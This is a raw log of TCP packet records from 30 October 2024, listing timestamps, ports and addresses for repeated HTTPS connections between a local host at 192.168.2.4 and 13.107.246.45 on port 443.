Oct 30, 2024 20:14:30.464608908 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.049143076 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.049777031 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.049787998 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.050235033 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.050240040 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.181665897 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.181729078 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.181782961 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.182035923 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.182056904 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.182079077 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.182085991 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.183402061 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.183789968 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.183809996 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.184371948 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.184379101 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.185462952 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.185512066 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.185581923 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.185703993 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.185719967 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.186320066 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.186621904 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.186640978 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.187011003 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.187016964 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.314682961 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.314727068 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.314775944 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.314822912 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.314981937 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.314995050 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.315016985 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.315023899 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.315768957 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.315898895 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.316117048 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.316198111 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.316198111 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.316239119 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.316266060 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.318030119 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.318077087 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.318147898 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.318176031 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.318224907 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.318310022 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.318412066 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.318434000 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.318444014 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.318464994 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.917498112 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.929224968 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.929271936 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:31.929546118 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:31.929559946 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.047103882 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.050978899 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.051037073 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.051403999 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.051418066 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.058834076 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.060981989 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.061038971 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.061091900 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.061165094 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.070771933 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.070796967 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.071204901 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.071211100 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.082307100 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.082307100 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.082344055 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.082366943 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.102917910 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.102961063 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.103049994 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.108520031 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.108529091 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.179122925 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.179344893 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.179399014 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.182853937 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.182876110 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.182890892 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.182898998 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.186444998 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.186476946 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.186559916 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.186757088 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.186773062 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.199225903 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.199249983 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.199295998 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.199302912 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.199361086 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.199457884 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.199503899 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.199533939 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.199548960 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.204623938 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.204651117 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.204711914 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.205116987 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.205127954 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.841944933 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.842385054 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.842401981 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.842845917 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.842850924 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.921706915 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.922173977 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.922200918 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.922488928 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.922492981 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.926995039 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.927249908 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.927258968 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.927613020 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.927617073 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.983786106 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.983841896 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.983910084 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.984057903 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.984075069 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.984082937 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.984087944 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.986460924 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.986515045 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:32.986584902 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.986830950 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:32.986850023 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.054578066 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.054651976 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.054737091 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.054910898 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.054924965 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.054934025 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.054939985 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.056560993 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.056611061 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.056658983 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.056736946 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.056746006 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.056755066 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.056759119 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.057322979 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.057420015 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.057495117 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.057604074 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.057637930 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.058722019 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.058793068 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.058867931 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.058974028 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.059009075 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.711719036 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.712212086 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.712239027 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.712655067 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.712660074 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.785607100 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.786139965 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.786196947 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.786756992 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.786772966 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.788445950 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.789128065 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.789197922 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.789689064 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.789702892 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.842588902 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.842669964 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.842721939 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.842900038 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.842917919 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.842927933 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.842932940 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.845464945 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.845506907 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.845675945 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.845813990 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.845824957 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.912974119 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.913042068 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.913100958 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.913146019 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.913184881 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.913238049 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.913309097 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.913309097 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.913346052 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.913428068 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.915543079 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.915591002 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.915677071 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.915829897 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.915859938 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.919485092 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.919619083 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.919677019 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.919747114 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.919747114 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.919776917 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.919802904 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.921662092 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.921684980 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:33.921751022 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.921863079 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:33.921875000 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.584778070 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.592299938 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.592329979 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.595885992 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.595901966 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.666198969 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.668589115 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.668637991 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.672219992 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.672240019 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.723963976 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.724028111 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.724097013 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.725783110 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.725847006 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.725886106 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.725903988 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.728605986 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.736553907 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.736572027 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.736943960 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.736948967 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.757580042 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.757620096 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.757680893 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.757833004 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.757839918 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.799669981 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.799736977 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.799801111 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.799827099 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.799850941 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.799896955 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.800040960 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.800060987 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.800076008 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.800082922 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.812463999 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.812490940 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:34.812553883 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.815805912 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:34.815819025 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.003675938 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.003751040 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.003810883 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.003994942 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.004012108 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.004024982 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.004030943 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.006797075 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.006839037 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.006910086 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.007067919 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.007081985 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.498426914 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.498836040 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.498851061 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.499247074 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.499252081 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.570002079 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.570394993 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.570410967 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.570825100 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.570830107 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.629682064 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.629708052 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.629750013 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.629877090 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.629877090 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.630089998 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.630101919 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.630110979 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.630115986 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.632591009 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.632631063 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.632704973 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.632827997 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.632838964 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.711828947 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.711982012 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.712037086 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.712161064 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.712177992 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.712188005 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.712193966 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.715845108 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.715873003 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.715936899 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.716077089 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.716092110 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.739520073 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.739830971 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.739841938 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.740245104 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.740250111 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.870590925 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.870646954 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.870692015 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.870784044 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.870784044 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.870903969 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.870915890 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.870925903 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.870930910 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.873290062 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.873317003 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:35.873404980 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.873523951 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:35.873532057 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.353233099 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.353760958 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.353792906 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.354223967 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.354228973 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.478084087 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.478619099 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.478631973 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.478944063 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.478950024 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.483417988 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.483473063 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.483524084 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.483690977 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.483705044 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.483715057 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.483720064 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.486248970 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.486274958 CET	443	49947	13.107.246.45	192.168.2.4
